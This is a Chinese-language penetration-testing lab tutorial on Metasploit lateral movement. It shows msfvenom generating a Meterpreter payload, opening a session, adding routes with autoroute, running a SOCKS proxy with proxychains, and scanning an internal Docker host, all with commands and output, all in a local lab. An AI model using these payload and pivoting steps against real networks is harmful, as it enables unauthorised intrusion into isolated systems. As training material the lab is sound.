Metasploit 自动路由 (Autorouting)

网络安全Beginner
立即练习

简介

横向移动是渗透测试中的一个关键阶段,攻击者利用已攻陷的系统访问同一内部网络中的其他主机。通常,这些内部网络是隔离的,无法从外部直接访问。

这里重要的概念性飞跃在于:攻陷目标不仅仅是为了获取第一台主机。第一台主机之所以重要,往往是因为它能看到后续的网络、路由和信任关系。

在本实验中,你将学习如何使用 Metasploit 框架执行横向移动。你将模拟获取一台双宿主(dual-homed)主机的初始立足点,使用 Metasploit 的 Autoroute 功能通过 Meterpreter 会话进行枢轴(pivot)操作,并配置 SOCKS 代理,以便外部工具能够与隐藏的内部网络进行交互。

识别内部子网 (arp/ipconfig)

在此步骤中,我们将模拟获取一台被攻陷服务器的初始立足点。为此,我们将生成一个本地载荷(payload),执行它,并使用 Metasploit 捕获连接以建立 Meterpreter 会话。连接成功后,我们将检查网络接口以识别隔离的内部子网。

首先,确保你位于项目目录中,并使用 msfvenom 生成一个 Linux 可执行载荷。该载荷将在目标机器(在我们的模拟中即本地机器)上打开一个监听端口。

cd ~/project
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o payload.bin

如果这是你在当前实验环境中首次使用 Metasploit,在 msfvenom 生成载荷之前,你可能会看到一个初始设置提示。当询问是否要设置新数据库时,回答 yes 并等待设置完成。

接下来,赋予载荷可执行权限并在后台运行它。

chmod +x payload.bin
./payload.bin &

现在,使用 -q 标志静默启动 Metasploit 控制台(不显示启动横幅)。

msfconsole -q

在 Metasploit 控制台中,配置 multi-handler 以连接到你刚刚执行的载荷。

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit

你应该会看到输出,表明 Meterpreter 会话已打开。

[*] Started bind tcp handler against 127.0.0.1:4444
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:38475 -> 127.0.0.1:4444)

有了活跃的 Meterpreter 会话,你现在可以探索被攻陷主机的网络配置。使用 ipconfig 命令列出所有网络接口。

枚举接口和路由是网络层面的本地权限枚举。在将主机用作枢轴之前,你需要知道它能访问哪些网络。

meterpreter > ipconfig

查看输出以寻找不同的子网。在此环境中,你通常会看到 eth0 上的主虚拟机网络,以及 docker0 上类似 172.17.0.0/16 的 Docker 网桥子网。这些就是 Meterpreter 通常可以自动发现并进行枢轴操作的路由。你还可以检查 ARP 缓存,查看主机是否与附近的设备进行过通信。

meterpreter > arp

保持此 Meterpreter 会话打开,因为我们将在下一步中使用它来配置路由。

通过 Meterpreter 添加自动路由 (Autoroute)

在此步骤中,我们将配置 Metasploit,使流量通过我们活跃的 Meterpreter 会话进行路由。在此实验环境中,autoroute 模块可以检查被攻陷主机的路由表,并自动添加它发现的子网。这个过程被称为枢轴(pivoting),它允许我们攻击那些从被攻陷主机可达的网络。

Autoroute 非常有用,因为它使框架具备了会话感知能力。一旦路由存在,Metasploit 就可以自动选择被攻陷主机作为通往这些隐藏子网的路径。

首先,将当前的 Meterpreter 会话放入后台,以便返回到 Metasploit 主提示符。

meterpreter > background

你将看到一条确认会话 1 已放入后台的消息。现在,加载 autoroute 后渗透模块。

msf6 exploit(multi/handler) > use post/multi/manage/autoroute

通过指定要通过其路由流量的会话 ID 来配置该模块,然后运行它。在此环境中,该模块将搜索主机路由表并自动添加它找到的子网。

msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > run

你应该会看到输出,表明已从主机路由表中添加了一个或多个路由。在此环境中的常见结果如下所示:

[*] Running module against 127.0.0.1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.16.50.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed

要验证路由是否已在 Metasploit 中正确注册,你可以打印活跃的路由表。

msf6 post(multi/manage/autoroute) > route print

输出将显示映射到会话 1 的子网。任何针对这些范围内的 IP 地址执行的 Metasploit 模块现在都将自动通过被攻陷主机进行隧道传输。

在 Metasploit 中配置 SOCKS 代理

虽然自动路由功能对于 Metasploit 的内置模块非常出色,但它不会自动为外部命令行工具(如 curl 或 nmap)路由流量。为了实现这一点,我们需要在 Metasploit 中设置一个 SOCKS 代理服务器。

在此步骤中,我们将启动一个 SOCKS 代理并配置 proxychains 工具来使用它。

仍在你的 Metasploit 控制台中,加载 SOCKS 代理辅助模块。

msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy

配置代理以在本地回环地址 (127.0.0.1) 的 1080 端口上监听。我们将使用 SOCKS 版本 4a。

msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a

使用 -j 标志将代理服务器作为后台作业运行。

msf6 auxiliary(server/socks_proxy) > run -j

你将看到一条确认 SOCKS 代理正在后台运行的消息。

[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

保持 Metasploit 控制台运行。在你的 LabEx 环境中打开一个新的终端标签页以配置 proxychains。

在新终端中,使用具有 sudo 权限的 nano 文本编辑器打开 proxychains 配置文件。

sudo nano /etc/proxychains4.conf

滚动到文件最底部。你会找到一个 [ProxyList] 部分。默认情况下,它可能有一行类似 socks4 127.0.0.1 9050 的条目。修改此行(或添加新行)以匹配我们在 Metasploit 中配置的端口:

socks4  127.0.0.1 1080

按 Ctrl+O 保存文件,按 Enter 确认,然后按 Ctrl+X 退出 nano。

通过枢轴扫描内部网络

在最后一步中,我们将同时利用 Metasploit 自动路由和 SOCKS 代理与 Docker 网桥网络进行交互。Docker 可能会在每次容器启动时分配略有不同的 IP 地址,因此设置已将真实目标 IP 保存到了 ~/project/internal_target_ip.txt 中。

在你的第二个终端中,你可以随时通过以下命令确认目标 IP:

cat ~/project/internal_target_ip.txt

首先,让我们使用内置的 Metasploit 模块扫描目标。返回到运行 Metasploit 的第一个终端标签页。

加载 TCP 端口扫描模块,并将其配置为扫描内部目标上的 80 端口。

msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS <target-ip-from-file>
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80
msf6 auxiliary(scanner/portscan/tcp) > run

因为我们在步骤 2 中配置了自动路由,Metasploit 知道将此扫描通过会话 1 发送。你应该会看到输出,表明 80 端口已打开。

[+] 172.17.0.2:           - 172.17.0.2:80 - TCP OPEN
[*] 172.17.0.2:           - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

现在,让我们测试我们的 SOCKS 代理。切换回你的第二个终端标签页。

我们将使用 curl 命令从内部目标获取网页。通过在命令前加上 proxychains,流量将被强制通过 SOCKS 代理(它将其路由通过 Metasploit,并最终通过我们的 Meterpreter 会话)。

proxychains curl -s http://$(cat ~/project/internal_target_ip.txt) | grep title

你应该会看到 proxychains 连接日志,随后是托管在内部目标上的默认 Nginx 网页的 HTML 标题。

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:80  ...  OK
<title>Welcome to nginx!</title>

恭喜!你已成功通过被攻陷的主机进行枢轴操作,并同时使用内部 Metasploit 模块和外部工具与隔离的内部网络进行了交互。

总结

在本实验中,你探索了 Metasploit 框架强大的横向移动能力。你首先通过生成载荷并建立 Meterpreter 会话来模拟被攻陷的主机。然后,你识别了一个隔离的内部子网,并使用 Metasploit 的 autoroute 模块将流量引导通过你的会话。最后,你配置了一个 SOCKS 代理,并利用 proxychains 将外部命令行工具隧道传输到内部网络中。这些技术是渗透测试过程中在复杂网络环境中进行导航的基础。